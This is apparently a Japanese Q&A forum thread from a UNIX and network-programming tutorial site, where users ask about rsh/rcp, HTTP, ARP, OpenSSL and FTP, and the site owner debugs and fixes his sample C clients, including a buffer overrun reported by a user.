|
はじめまして。初男と申します。 質問があります。 あるシェルスクリプトを実行し成功するのですが、 remshを使って、 remsh 自分のサーバ名 -n スクリプト名 として、実行すると、sortの処理でエラーが出てしまいます。 sortは、remshを使うとどうしてエラーになってしまうのでしょうか? ご存知の方は教えていただきたいと思います。 よろしくお願いします。 |
|
>>2001 初男 具体的にどういう書き方をしていて、どういうエラーが出ていますか? |
|
68userさん、お返事ありがとうございます。 あのあと、調査して、原因がわかりました。 ありがとうございました。 |
|
はじめまして!僕はUNIXなどのプログラム関係は全く理解できなかったのですがこちらのサイトではとてもわかりやすく説明されているため大変勉強させていただきまことに感謝いたしております。これからも応援いたしますのでがんばってください。 |
|
はじめまして。初訪問で初投稿です.宜しくお願いします. 現在、[A装置]−[Router]−[B装置](簡単に記述)で接続した環境で、RouterにてIP Filteringの設定を追加しようとがんばっています。[A]→[B」は、RCPによるファイルの送受信を行っているため、RCP以外のアプリケーションプロトコル(Telnetとか)を遮断する方法を探しております。 まずは、「全アプリケーションプロトコル遮断」として、「RCPだけ通過」という方法を取ろうと思っているのですが、【RCPのポート番号】が不明です.【RCP】は、Welknown-portではないのでしょうか?UNIXがその都度ポート番号を取得してしまうのでしょうか?ご存知の方教えて下さい. |
|
>>2005 ネットワークセキュリティ > 【RCPのポート番号】が不明です shell 514/tcp です。 こういう場合はサイズの大きなファイルを rcp しておいて、 その間に netstat -a を実行すればよいでしょう。 |
|
>>2005 ネットワークセキュリティ 蛇足ですがセキュリティを気にするのなら r系のコマンド自体使わない方が良いかと思いますが・・・。 |
|
はじめまして。もっちと申します。 いつも参考にさせていただいています。 はじめて投稿させていただきます。 http⇔https(https⇔https)のsocket通信をC言語で実現させたいのですが、 情報が無い為、何をどうすれば良いのかわかりません。 http⇔httpの通信はこちらのホームページを参考にさせていただいて、 実現することが出来ました。(ありがとうございます) いろいろ情報を検索して、opensslを使用すれば良いということまでは わかったのですが、それをどの様に使用すれば、暗号化が行われ、 通信を行い、受信データを複合できるのかわからず、悩んでおります。 情けないのですが、私には余りC言語での開発経験がありません (普段はPerlを使用しています) ですので、余計に訳がわからなくなってきております。 どなたか、この問題に関する情報をお持ちの方、いらっしゃらないでしょうか? 開発環境は、Solaris SunOSです。 opensslなど、必要と思われるものは準備されております。 (他に必要なものなどあれば、それも併せて教えていただければ幸いです) どうぞ、よろしくお願い致します。 |
|
>>2008 もっち 僕には難しいことはわかりませんが、とりあえず OpenSSL のマニュアル http://www.openssl.org/docs/ssl/ssl.html OpenSSL 和訳サイト。古いかも。 http://www.infoscience.co.jp/technical/openssl/docs/ssl.html SSLを使った暗号化通信のやり方 http://stingray.sfc.keio.ac.jp/security/ssl/ssl.html RFC 2246 TLS-1.0 (≒ SSL-3.0) http://ring.asahi-net.or.jp/archives/doc/RFC/rfc2246.txt ここらへんを参考にしてみて下さい。 |
|
>>2009 68user 68user様、早速のご返答ありがとうございます!! >OpenSSL のマニュアル の方は、私のほうでも見つけていたのですが、何を書いているのか 理解出来ず、挫折していました。 >SSLを使った暗号化通信のやり方 早速行ってきました。 まだ、詳細まで読んでいませんが、説明がスゴク丁寧で、 私の知りたかった関数の説明までされていて、私のようなC言語未熟者にも 理解できそうな気がします。 教えていただいたサイトを参考にして、実現できる様、頑張って見ます。 実現出来次第、報告に伺います!! |
|
「ネットワークセキュリティ」の件 >>2007 hsj hsjどの ご指摘の通り、R系のコマンドを使用している時点でセキュリティに問題ありとは認識しています。。。先にこっちを対応すべきかもしれませんね。参考にさせていただきます。 >>2006 68user 68userどの ポート番号の件ありがとうございます。 さっそく、設定値反映して確認します。確認結果は後日ご報告します。 |
|
初めまして、すごく初心者の者です。 早速質問なのですが、HTTPでは要求などを文字列として送ってるだけなのでしょうか。つまり GET /test/test.html HTTP/1.0 などの文字列を相手に送ってるだけでしょか。 相手側では、その文字列を受け取って、Javaのtokenizerとかで、文字を切り出して s1="GET" s2="/test/test.html" s3="HTTP/1.0" if(s1.equals("GET"){} でプログラムで処理して結果をクライアントに文字列で返して、 またブラウザが文字列を切り出して、レイアウトしているだけでしょか。 だから、自分でも送られてくる文字列を受けることができて、文字列を見れて、また、HTTPで文字列を返すプログラムが書けるのでしょうか。 また、こんな質問を受け付けてる掲示板をご存知でしたら教えてください。 |
|
こんにちは、お邪魔します。 >HTTPでは要求などを文字列として送ってるだけなのでしょうか。 そうです。人間が見て理解できるので楽しいですよ。 >相手側では、その文字列を受け取って、Javaのtokenizerとかで、文字を切り出して 相手側=WWWサーバーと考えると、おっしゃる通りだと思います。 受け取った文字を解釈して、レスポンスを(画像だったりもしますので全て文字列とは限りませんが)ブラウザに送ります。 ブラウザは、受け取ったデータがHTMLの場合はそれを解釈して(文字列を切り出して)レイアウトして表示します。 >だから、自分でも送られてくる文字列を受けることができて、文字列を見れて、また、HTTPで文字列を返すプログラムが書けるのでしょうか。 書けます。 偶然、先日「まさにそれ」というような物を書いたので、良かったら見てみて下さい(だからノコノコ出てきてしまいました)。 http://www.gyosatu.com/jumper/software/MHTTPD/MHTTPD.java http://www.gyosatu.com/jumper/cgi-bin/bbs/bbs2.pl?bbs=jumper&i=110#3 に、コンパイルと起動の仕方をごく簡単に書いてあります。 #もし分からなくてかつ動かしたかったら言って下さい。 まさに >if(s1.equals("GET"){} のような処理をしている筈です。 受け取った文字列を見えるように改造するのも簡単だと思います。 >また、こんな質問を受け付けてる掲示板をご存知でしたら教えてください。 ここが適切だと思います。 |
|
またまたお世話になります。 bash上で以下のようにすると、 # tail -f anylog.log ログに追加される内容が逐次見られますが、コレをちょっと変更して # tail -f anylog.log | grep "extract_keyword" > /dev/tty0 & として、ログインしていないコンソールに表示させようとしましたが、 jobs で表示されないため、停止が出来なくなりました。 ps で見てみると、プロセスの親子関係が無くなっているように見えます。 これはどうしてなんでしょうか? また、このコマンドを実行したコンソールがログアウトした時に 同時に終了させたいのですが、どう指定すればいいでしょうか。 アドバイスをよろしくお願いします。 |
|
こんにちは。 私は今ソケットを使ったプログラムを作成していて、 いろいろ調べてたら、このサイトが見つかり非常に助かってます。 そこで質問なのですが以下のURLよりDLしたものをコンパイルし、 実行するとコアダンプしませんか? http://www2.startshop.co.jp/~68user/net/sample/http-client-2.c 私はWindows2000(Cygwin)でもSolarisでも コアダンプしました。 最初は自分でかなりいじってしまったので、 そのせいかなぁとも思ったのですが、 DLしたものをそのまま使ってもなっちゃいました。 今、修正しようと思ってるのですが、 なかなかうまくいきません。 どなたか知ってる方いらっしゃいませんか? 教えて下さい。 よろしくお願いします。 |
|
>>2014 スナフキン > # tail -f anylog.log | grep "extract_keyword" > /dev/tty0 & > として、ログインしていないコンソールに表示させようとしましたが、 > jobs で表示されないため、停止が出来なくなりました。 こちらの環境の bash では、jobs で表示できました。 関係ないかもしれませんが、 % (tail -f anylog.log | grep "extract_keyword" > /dev/tty0) & だとどうなりますか? > また、このコマンドを実行したコンソールがログアウトした時に > 同時に終了させたいのですが、どう指定すればいいでしょうか。 bash で & を付けると、SIGHUP をブロックしてしまったような 気がしますが…。違ったっけ。回避策は知りません。bash 使いの 方、いらっしゃいますか? >>2015 nana > 以下のURLよりDLしたものをコンパイルし、実行するとコアダンプ > しませんか? こちらの FreeBSD, Solaris, Linux 環境ではコアダンプしません でした。引数はどのように指定しましたか? また、-g を付けて コンパイルして、gdb で backtrace するとどう表示されますか? % gcc -g -o http-client-2 http-client-2.c % gdb http-client-2 (gdb) run http://www.yahoo.co.jp/index.html Starting program: http-client-2 http://www.yahoo.co.jp/index.html Program received signal SIGSEGV, Segmentation fault. 0xef5a4674 in strlen () from /usr/lib/libc.so.1 (gdb) backtrace #0 0xef5a4674 in strlen () from /usr/lib/libc.so.1 #1 0xef776b74 in _doprnt () from /usr/ucblib/libucb.so.1 #2 0xef777aa4 in printf () from /usr/ucblib/libucb.so.1 #3 0x11320 in main (argc=2, argv=0xeffffac4) at http-client-2.c:108 # 今気づきましたが、引数に「http://」を指定したときに # エラーで弾かないのはバグですね。 |
|
早速質問なのですが、 MACアドレスとIPアドレスの両方が必要な理由を教えてください。 あと、windowsのDOSでarp -aとタイプしてもNO ARP Entries Foundと出てしまうのは、なぜですか。どういったときに、テーブルにMAC,IPの対応がたされるのですか。www.goo.ne.jpとかにアクセスしただけではだめなのですか。 通信するときに,最初IPアドレスでその通信相手のマシンからMACアドレスの情報を得て、それからまた、パケットにIP,MAC両方のアドレスをつけて、また、その相手のマシンにパケットを送るのは、無駄じゃないですか。 あと、初心者がネットワークエンジニアになるための勉強に、お勧めの参考書、ホームページ、どのようなステップをふめばいいか、皆さんの意見、経験を教えて下さい。 |
|
>>2017 aiko > windowsのDOSでarp -aとタイプしてもNO ARP Entries Foundと > 出てしまうのは、なぜですか。 Ethernet カード (=ネットワークカード=NIC) を使っていますか? MAC アドレスは Ethernet カードに対して割り振られるもので、もし ダイヤルアップ PPP を利用していたら arp テーブルは全く利用されません。 > MACアドレスとIPアドレスの両方が必要な理由を教えてください。 IP データグラムの最大長は 64K バイトですが、Ethernet フレームの 最大長は 1500 バイト程度です。64K バイトの IP データグラムを Ethernet 上で送信する場合、数十個の Ethernet フレームに分割 しなければいけません。 宛先 IP アドレスが書いてあるのは IP データグラムの先頭だけなので、 分割した途中の Ethernet フレームを見ても、宛先 IP アドレスは わかりません。つまり Ethernet というレイヤでは、通信先を特定 のに IP アドレスが使えないわけです。ここに MAC アドレスの 存在理由があります。 より根本的には、Ethernet というのは IP に特化したものではないから、 というのが説明になるでしょう。例えば ADSL で使われている PPPoE (PPP over Ethernet) がその一例です。 # http://www.rtpro.yamaha.co.jp/RT/docs/pppoe/ |
|
>>2018 68user >64K バイトの IP データグラムを >Ethernet 上で送信する場合、数十個の Ethernet フレームに分割 >しなければいけません。 結局は、分割したEthernetフレームの1個1個にMACアドレスがたされるということですか。もしかして、そのEthernetフレームにIPアドレスを1個1個つけてもいいけど、IPアドレスの大きさが保証されてないから(IPv6に変わったり)、Ethernetフレームのアドレス用の領域分(フレーム構成)が、IPアドレスの大きさが変わった場合に影響受けるのは、階層的?にまずいということですか。 だから、IP(プロトコル)とは別に、LAN上では、独自のプロトコルでフレーム構成を決めて、MACアドレスで配信してるということですか。 >Ethernet カード (=ネットワークカード=NIC) を使っていますか? 自分の環境って関係ないんじゃないですか。だって相手のMACアドレスが知りたいわけだから。自分は、Laneed LD-10/100AWLとかいうカードで、ハブにつないで、LANに接続してます。 あと、MACアドレスを問い合わせない通信ってあるんですか。 IPデータグラムって、自分のマシンから出て行くときに絶対Ethernetフレームに分解されて出て行くんですか。 ネットワークって難しいですね。是非、勉強方法など教えてください。 |
|
>>2019 aiko > 結局は、分割したEthernetフレームの1個1個にMACアドレスが > たされるということですか。 そうです。IP データグラムのヘッダに送信先 IP アドレスと 送信元 IP アドレスがあるように、Ethernet フレームのヘッダにも 送信先 Mac アドレスと送信元 Mac アドレスが付いています。 > IPアドレスの大きさが保証されてないから (IPv6に変わったり)、 > Ethernetフレームのアドレス用の領域分(フレーム構成)が、 > IPアドレスの大きさが変わった場合に影響受けるのは、 > 階層的?にまずいということですか。 まぁそうですね。もし Ethernet が IPv4 べったりな規格だったら IPv6 は実現しなかったでしょう。各レイヤ間ができるだけ依存 しないように考えた結果、柔軟性が生まれたのです。ちなみに Ethernet の上に載せられるプロトコルには、IP の他に Xerox XNS や Novell IPX などもあります。 > 自分の環境って関係ないんじゃないですか。だって相手の MAC > アドレスが知りたいわけだから。 Ethernet を使っていないなら Mac アドレスは全く使いません。 arp -a でテーブルが空だった理由はわかりません。時間が 経過したためキャッシュを破棄したのかもしれないし、そうで ないかもしれない。 > あと、MACアドレスを問い合わせない通信ってあるんですか。 IP データグラムを送るという前提なら、必ず Mac アドレスを 知らなくてはいけないでしょう。 # 強いて言えば、ARP プロトコルは Mac アドレスを問い # 合わせるためのプロトコルだから、ARP を投げる前に # Mac アドレスを問い合わせることはありませんね。 > IPデータグラムって、自分のマシンから出て行くときに絶対 > Ethernetフレームに分解されて出て行くんですか。 Ethernet を利用していないなら、それは間違いです。もし Ethernet を利用しているならば、IP データグラムは必ず Ethernet フレームに載せられて流れていきますが、サイズが 小さければ分割はされません。 > 是非、勉強方法など教えてください。 概要を知るにはこれ http://www.ohmsha.co.jp/data/books/contents/4-274-06257-0.htm プログラミングするならこれ http://www.mmjp.or.jp/pearsoned/washo/network/wa_net28-j.html がお勧めではないかと思います。 |
|
>>2019 aiko あと、Ethernet と IP では、役割が違います。Ethernet はセグメント内 (ルータから先は別セグメント) の通信を保証するレイヤ (データリンク層)。 ルータから先は Ethernet の管轄外です。 で、IP はエンドツーエンドの通信を保証するレイヤ (ネットワーク層)。 ついでに言うと、TCP は IP のような細切れなパケットでなく、連続した ストリームを送ることを保証するレイヤ (トランスポート層)。 バカ HUB やツイストペアケーブルは、端点 (って言うのかな?) から 端点へ正常な信号を送ることを保証するレイヤ (物理層)。 # ここで書いた各層の役割は、僕が勝手に考えたもので、OSI 参照 # モデルの定義とは違います。 # http://home7.highway.ne.jp/dayan/tips/unix/tcp.html |
|
>>2016 68user 何の事は無い、あっさり解決しました。()の動作はperlと同じなのですね。 (というよりperlがシェルに似せたのだと思うけど) ps での表示で親子関係表示されました。 今後詰まった時、とりあえずperlでの記述を真似てみます(笑) 同時に終了の件は、考えてみればそこまでやるなら各種デーモン類の 起動法を真似ればいいかも、なのでとりあえずコレで良しとします。 ともかく、ありがとうございました。 ちなみにこのスクリプトは、自宅で公開しているサーバーでのログ監視 に利用しています。 ついでに、といってはなんですが、このマシンはサーバーとして利用して いるので、通常はリモートログインでコンソールからの操作は滅多に行わ ないため、アイドルが続くとディスプレーが非表示モード(でいいのかな) になります。 BIOS関係かなとも思いますが、Windowsも同居しているのでできればOS側で 対処できないかと考えています。 変更箇所もしくはポインターを教えてもらえれば幸いです。 |
|
こちらでは、お久しぶりです。 >>2016 68user 68user さんは、お気づきだろうと思うので、蛇足ですが。 私の方では core を吐きました。多分、path とか URL の長さチェックを していないからだと思います。 /* genx.c */ #include <stdio.h> int main(int argc, char *argv[]) { int i; for (i = 0; i < 1000; i++) putchar('x'); return 0; } こんなプログラムを作って、 % ./http-client-2 http://www.yahoo.co.jp/`./genx`.html としたら signal 10 を受けて core を吐きました。 # 個人的にはこの程度のサンプルで、長さチェックまでやるのは # 本質的な部分が見えなくなるので、今のままで良いかと思います。 # せいぜい、注意をひとこと書けば良いだけだと思います。 >>2015 nana 上記の通りなので、こういうバグ報告の際には引数に与えた文字列とか 環境変数を参照するものは環境変数とかを明示しないと意味がないです。 上記のは core を吐かせるための一例なので、原因は他にもあるかも 知れませんが。 |
|
>>2022 スナフキン > 何の事は無い、あっさり解決しました。 そうですか、() で囲めば解決しましたか。プロセスグループとか tty とか、さっぱりわかってないので適当に言ってみたのですが。 > ()の動作はperlと同じなのですね。 open(IN, "(cd dir; foo | bar) |") みたいなのを言ってますか? perl では、open の引数の先頭か末尾に `|' を付けると、構文 解析なども行わず 丸ごと /bin/sh に投げます。なので、perl の 作りが sh に似ているのではなく、単に sh を利用しているだけです。 > アイドルが続くとディスプレーが非表示モード(でいいのかな) > になります。 XFree86 ならば xset -dpms とするか、/etc/XF86Config で BlankTime, StandbyTime, SuspendTime, OffTime などを設定 します。詳しくは XF86Config(5) をどうぞ。 ただのコンソールならば FreeBSD 4.3-RELEASE なら /etc/rc.conf に saver="NO" です。それ以外の環境はわかりません。 >>750 を見ると Vine Linux をお使いのようですが、毎回必ず 環境を書いた方がよいでしょう。 |
|
>>2023 rosegarden > 68user さんは、お気づきだろうと思うので、蛇足ですが。 > 私の方では core を吐きました。多分、path とか URL の > 長さチェックをしていないからだと思います。 全然お気づきではなかったです。お恥ずかしい。 「C で書くならここまでちゃんとやらないと」と言えるような サンプルにしたいので、直しておきます。 |
|
PerlのCGIで記入した文章において, 改行をスペースに変換する方法を以前お尋ねしました。 その後,いろいろ試してみたのですが, 日本語コード変換直後に $val =~ s/\r\n|\r|\n/ /g; を記入することで上手くいきました。 どうもありがとうございました。 |
|
>>2024 68user プロセスグループというのですか、時間があれば調べてみます。 しかし、ホントに良くできていますよね、M$とは大違いだ(笑) >open(IN, "(cd dir; foo | bar) |") みたいなのを言ってますか? いえいえ、全体的にです。 自分は、今の所bashしか使っていませんが、スクリプト言語全体に 同じような構文が多いように感じます。(意識的なんでしょうか?) >環境を書いた方がよいでしょう。 そうですね、これからそう心がけます。 VineLinuxには /etc/rc.conf は無く、/etc/rc.d/ 関係にもそれらしい 記述は見つけられませんでした。いろいろ調べてみます。 ありがとうございました。 |
|
>>2022 スナフキン > 何の事は無い、あっさり解決しました。 すいません、上記の発言は正確では有りませんでした。 正確には、ps での表示にはちゃんと親子関係が表示されましたが、 コマンド jobs には表示されませんでした。 ん〜、親PIDが判る(killできる)のでこれでも可です。 >プロセスグループ コレ、特有の呼び名かと思いましたが、単純に自分の言っていた親子 関係にあるプロセス群のことを指していたのですね(^^; |
|
すみません。ネット初心者です。 くだらないことをおききしたいのですが、、、。 いろいろなホームページをみていたら、かってに 何かわからないのですが、「無料のダウンロードを行いました」 といって、なんだか何もしていないにもかかわらず、 なにかが、ダウンロードされてしまったみたいです。 これによって、個人情報が流れてしまったり、することはあるのでしょうか?なんだか不安です。 アドバイスお願いします。 いろいろ不安になります。 |
|
koni と申します。 (環境: ActivePerl v5.6.0 + WinNT) ワンタイムパスワードについて質問があります。 MD5 を使い認証をしてくるサーバーに Net::FTP を使用して自動 FTP をし たいのですが、うまく行きません。 詳細は以下です。 ※この件に明るくないため、言葉の使用法が誤っているかも知れません。 == まずは、 # start ----- use Net::FTP; $ftp = Net::FTP->new("ftp-server-name.co.jp", Debug => 1); $ftp->login('user', 'pass'); $ftp->quit; # end ------- などとしたところ、PASS を送信したところで、はじかれてしまいました。 ちなみにこれを ffftp などの MD5 対応のクライアントを使うと、 FFFTP Ver.1.80 Copyright(C) 1997-2001 Sota. ---------------------------- ホスト ftp-server-name.co.jp を探しています. ホスト ftp-server-name.co.jp (***.***.***.*** (21)) に接続しています. 接続しました. :(省略) >USER user 331 * * * MD5を使用します. >PASS [xxxxxx] 230 User user logged in. >TYPE A 200 Type set to A. ダウンロードのためにホスト ***.***.***.*** (*****) に接続しています. 接続しました. >NLST -alL 150 Opening ASCII mode data connection for /bin/ls. 226 Transfer complete. ファイル一覧の取得は正常終了しました. (124 Bytes) (* の部分は伏せてあります。) などとなり、接続できました。 個人的には、Net::FTP にこの MD5 を実装するには、上記の USER user をし たあと、331 の後の値を、Digest::MD5 のメソッドにかませて、戻り値をパ スワードとして送信すれば OK なのか、と考え、やってみたのですがダメそ うでした。 もしご存知のかたがいらっしゃいましたら、ご教授願います。 |
|
>>2030 koni > ワンタイムパスワードについて質問があります。 > MD5 を使い認証をしてくるサーバーに Net::FTP を使用して自動 FTP をし > たいのですが、うまく行きません。 一口にワンタイムパスワードといってもいくつかあるので、 これだけでは分かりません。 しかし、md5 が云々と言うことから、opie じゃないかと思いますが。 私自身 opie も S/key も使ったことがないので、分かりませんが、 > 個人的には、Net::FTP にこの MD5 を実装するには、上記の USER user をし > たあと、331 の後の値を、Digest::MD5 のメソッドにかませて、戻り値をパ > スワードとして送信すれば OK なのか、と考え、やってみたのですがダメそ > うでした。 多分 password を md5 でハッシュしても駄目でしょう。 ワンタイムパスワードの意味がないです。 CPAN に http://search.cpan.org/search?mode=module&query=opie という module があるのでトライしてはどうでしょうか? とにかく、認証方法がワンタイムパスワードとしか分からないので、 これでうまくいくかどうかは保証できません。 上記サイトの module search で S/key とか MD5 とか MD4 で それらしきものを検索してはどうですか? でも良いことを聞きました。ありがとうございました。 # web サーバで ftp 使わせているのですが、 # パスワードの保護がどうにかならないかと # 頭を抱えていたところです。 |
|
はじめまして、C言語でFTPクライントを作ろうとここのページを参照させて いただいたのですが、以下の部分のソースがよくわかりません。 87: while (1){ 88: char c; 89: c = getopt(argc, argv, "d"); 90: if ( c == -1 ) break; 91: switch (c){ 92: case 'd': 93: debug_flg = 1; 94: argc--; 95: argv++; 96: break; 97: default: 98: break; 99: } 100: } getoptは調べたところint型だと思うのですが、なぜchar型の変数に値を 代入しているのでしょうか? また、いろいろ調べてみたんですが、このgetoptで何をしているのかもよく わかりませんでした。よろしければこの部分についての解説もお願いいたし ます。m(_ _)m |
|
>>2030 koni そういう FTP サーバを使ったことがないので試すこともできないのですが、 これって APOP みたいな感じなんですかね? どこかで公開されている FTP サーバはないものでしょうか。 >>2032 snow > getoptは調べたところint型だと思うのですが、なぜchar型の変数に > 値を代入しているのでしょうか? これは僕のミスで、正しくは int です。直しておきます。 > このgetoptで何をしているのかもよくわかりませんでした。 引数解析です。 for ( i=1 ; i<argc ; i++ ){ if ( argv[i][0] == '-' ){ switch (argv[i][1]){ case 'd': debug_flg = 1; break; } } } みたいなもんですが、自分で書くのもめんどくさいのでライブラリを 使いました。 詳しくはここらへんをどうぞ。 http://www.jp.FreeBSD.org/cgi/mroff.cgi?subdir=man&man=getopt&dir=jpman-3.1.0%2Fman§=3 |
|
>>2033 otp-md5 google 君に教えてもらいました。なるほど、こんな感じの流れになるのか。 http://www.jaist.ac.jp/~uchida-t/otp/ |
|
>>2033 68user ご回答ありがとうございます。 ですが、このままint型に変えただけだと、エラーがなければCに入るのは 通常「100」ですよね?ということは case 100: とすれば良いのですよね? そこを修正して、先ほどのプログラムを例に従って実行してみたのですが、 どうもどこかでループにはまっているようで、ファイルの取得ができません。 う〜ん・・・(汗 |
|
>68userさん http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/cgi-bin/view-segabbs.cgi.diff?r1=1.3&r2=1.1&f=h ロボット検からまだ引っかかるので上記ページを確認したのですが <head>の部分が</head>になっているのがちょっと変かなっと思ったのですが…どうなんでしょうか。 |
|
>>2035 snow > エラーがなければCに入るのは通常「100」ですよね? 'd' の character code は 100 なので、100 でも 'd' でも動作は 同じですけど、可読性やメンテナンス性を考えて 'd' と書きましょう。 > どうもどこかでループにはまっているようで、ファイルの取得ができません。 できる限り余分な部分を削ったソースを見せて下さい。 >>2036 ED > <head>の部分が</head>になっているのがちょっと変かな プログラムのソースでなく実物を見て下さい。 http://X68000.startshop.co.jp/~68user/segabbs/bbs3/vol5/5_97.html > ロボット検からまだ引っかかるので META タグを追加してからまだ15日しか経過していません。例えば google なら、クロール頻度は最低1ヵ月に1回だそうです。 http://www.google.com/intl/ja/faq.html |
|
>>2037 68user >> エラーがなければCに入るのは通常「100」ですよね? >'d' の character code は 100 なので、100 でも 'd' でも動作は >同じですけど、可読性やメンテナンス性を考えて 'd' と書きましょう。 そうなんですか。すいません、'd'で大丈夫だとは知りませんでした。 >> どうもどこかでループにはまっているようで、ファイルの取得ができま >>せん。 >できる限り余分な部分を削ったソースを見せて下さい。 いえ、前回のcの型の変更以外の変更は行っていません。 それでできないのですが・・・ |
|
>68useさん すいません。プログラムのほうしか見てませんでした。 |
|
お礼です。 「ネットワークプログラミングの基礎知識」を参考にさせて頂きました。 とても分かりやすく私にとって大変役に立ちました。 自分はDOSやWindowsのアプリ、ドライバを作ることが主な仕事ですが この度、サーバ側のプログラムを作ることになり、こちらのHPを参考に させていただきました。 特に「ネットワークプログラミングの基礎知識」と「簡易版コマンド マニュアル」内のcrontabを読ませていただき、大いに参考になりました。 普段はC(ドライバ作成用)とDelphi(クライアント側アプリ作成用) を使っていますが、こちらでPerlの使い方までも教えてもらいました。 ただただお礼を言うばかりです。 素晴らしいHPを提供してくださって、こころから感謝申し上げます。 有り難うございました。 |
|
>>2038 snow > いえ、前回のcの型の変更以外の変更は行っていません。 > それでできないのですが・・・ 動かないというのは、 http://X68000.startshop.co.jp/~68user/net/c-ftp-1.html の ftp-client.c ですか? コマンドラインからは何とタイプしましたか? % ./ftp-client -d anonymous your@mail.address ftp.jp.FreeBSD.org /pub/FreeBSD/README.TXT のように -d を付けるとデバッグ情報が表示されますが、どこで 止まっていますか? もし NAT 環境で試しておられるなら、 --> PORT 192,168,0,7,9,58 <-- 500 Illegal PORT range rejected. などとプライベート IP アドレスを送ってしまい、エラーと なります。しかしこのプログラムではエラーチェックを行って いないので、構わず RETR を送ってしまいうためファイルを 取得できません。この点は説明を付けておくべきでしたね。 getopt の件は修正しておきました。ご指摘ありがとうございました。 http://X68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/sample/ftp-client.c >>2039 ED というわけで、しばらくお待ち下さい。 >>2040 Moo どもども。わかりにくい点がありましたら ご指摘お願いします。 |
|
>>2041 68user > この点は説明を付けておくべきでしたね。 NAT 環境では動かない旨、追加しました。 http://X68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/org/c-ftp-1.html.diff?r1=1.1&r2=1.2&f=h |
|
>>1691 紅の猫 >>2023 rosegarden http-client, http-client-2 のバッファオーバーランの修正と、 bzero,bcopy の説明の追加を行いました。ご指摘ありがとうございました。 http://X68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/sample/http-client.c http://X68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/org/c-http-1.html |
|
このようなことでもアドバイスもらえるのかな? えっと、CGIでHTMLの一部(5行目から7行目)までとかをログとして取得し、その部分を出力することはできるんでしょうか? |
|
>>2044 幸江 質問の意味がわからないです。 > HTMLの一部(5行目から7行目)までとかを この HTML はどこにあるんですか? どこかから取得するんですか? > ログとして取得し、その部分を出力 「ログとして取得」とはどういう意味でしょうか? HTML から 特定の範囲を切り出し、ブラウザ上に出力し、さらにそれを ログに記録しておくのですか? |
|
>>2041 68user 以下のようにコマンドを打ったところ、 ./ftp-client -d userid passwd hogehoge.com index.html 以下のようなデバッグ情報が出力されました。(一部文字化けしてますが) <-- 220-************************************************ <-- 220- 洩T[o[韃ヲ虧 誉芒鋤天B <-- 220-OS ・indows98SE 費 怒莉(19)髟・・ 房-- 220 ************************************************ --> USER userid <-- 331 Give me your password --> PASS passwd <-- 530 Not authorized. --> PORT 172,18,168,100,4,19 <-- 5--> RETR index.html で止まってしまいました。 NAT環境では使用していないので、ご指摘いただいた問題はないと思います。 |
|
あと、今確認したところUSER,PASS,PORTというファイルが残ってました。 下の書き込みで文字化け対象を記入してしまって、申し訳ありません。 |
|
>>2046 snow > --> PASS passwd > <-- 530 Not authorized. ということは、ユーザ名かパスワードが間違ってませんか? >>2047 snow > 今確認したところUSER,PASS,PORTというファイルが残ってました。 「--> PASS」というのを誤って copy & paste してしまったんじゃ ないでしょうか。このプログラムにはファイルを生成するコードは 入っていないです。 |
|
>質問の意味がわからないです ごめんなさい。 >> HTMLの一部(5行目から7行目)までとかを >この HTML はどこにあるんですか? どこかから取得するんですか? HTMLはYahoo!のトップなどです。 >> ログとして取得し、その部分を出力 >「ログとして取得」とはどういう意味でしょうか? HTML から >特定の範囲を切り出し、ブラウザ上に出力し、さらにそれを >ログに記録しておくのですか? そのようにしたいのですが可能なのでしょうか? |
|
>>2048 68user 再度実行したところ、USER,PASS,PORTは出てきませんでしたので、 私の間違いだったようです。すいません。 >> --> PASS passwd >> <-- 530 Not authorized. >ということは、ユーザ名かパスワードが間違ってませんか? 間違ってないんですが・・・(汗 普通にftpコマンドで繋げるとちゃんとつながりますし。 なぜでしょう。。。 下では書きませんでしたが、パスワードをacerolaとしているのですが、 どうもパスワードでNGになっているようです。 なぜだかわかりますでしょうか? |
|
すいません、追記です。 どうしてパスワードでNGになったかわかったかと言うと、 サーバー側のログを見て、パスワードでNGになっていることを確認 しております。 |
|
>>2049 幸江 > HTMLはYahoo!のトップなどです。 可能です。HTTP をしゃべりたいなら http://X68000.startshop.co.jp/~68user/net/ を参考に自分でダウンローダを作るか、wget、fetch、lynx などの ダウンローダを使うとよいでしょう。 例として Yahoo! を出しているのならよいのですが、もし他人の ページの一部を持ってこようとしておられるなら、相手の許可を 得てからにしましょう。 >>2050 snow > 普通にftpコマンドで繋げるとちゃんとつながりますし。 なるほど。 o ftp コマンドではログインできる o -d オプションによるデバッグ表示を見ても、正しいパスワードを 送信しているように見える o パスワードには * や ? などの文字は含まれていない (シェルがワイルドカードを解釈しているわけではない) ということですね。謎です。 ftp コマンドで debug モードを ON にしてみると何かわかりませんか? % ftp ftp> debug Debugging on (debug=1). ftp> open hostname Connected to hostname 220 hostname FTP server (Version 6.00LS) ready. Name (hostname:username): username ---> USER username 331 Password required for username. Password: ---> PASS password などと表示されると思います (ftp クライアントによっては、 PASS **** などと何を送っているか見せてくれないかも しれませんが)。 また、認証までなら telnet でもできますので、試してみて下さい。 % telnet hostname 21 Connected to hostname. Escape character is '^]'. 220 hostname FTP server (Version 6.00LS) ready. USER username 331 Password required for username. PASS password |
|
お世話になっています。本当、UNIXの部屋を良く、使っています。 ところで、コマンドを自分のUNIX環境で有効にするには、どうしたら いいですか?使えないコマンドがたくさんあるのですが・・・ぜひ、 教えて下さい。先輩に聞いたら、いろいろと設定しなければならない とかで・・・詳しくは、教えて貰えませんでした。どうぞ、教えて 下さい。 |
|
>>2053 ゆうすけ 回答を出しやすくするために、 - OS は何か (uname -a の結果) - 例えばどんなコマンドが使えないか を挙げて下さい。 |
|
早速の返答ありがとうございます。uname -aの結果は、 SunOS std2ss42 5.6 Generic_105181-23 sun4u sparc SUNW,Ultra-5_10と出て来ました。 コマンドは、ジャンル別検索のゲーム(rainなど、他にもたくさん)です。 よろしく、お願いします。 |
|
フラットヘッド型スキャナについての機能と仕組みはなんですか?フラットヘッド型スキャナの製品の一例を紹介してください。また工夫されている点を解説してください。 |
|
ネットワークプログラミングの初心者です。今、仕事で始めたばかりなのですが、inet_atonを使う場合のライブラリは、何を指定すればいいのでしょうか?-lnsl -lsocketではダメなようで。。。教えていただけると、大変たすかります。よろしくお願いします。 |
|
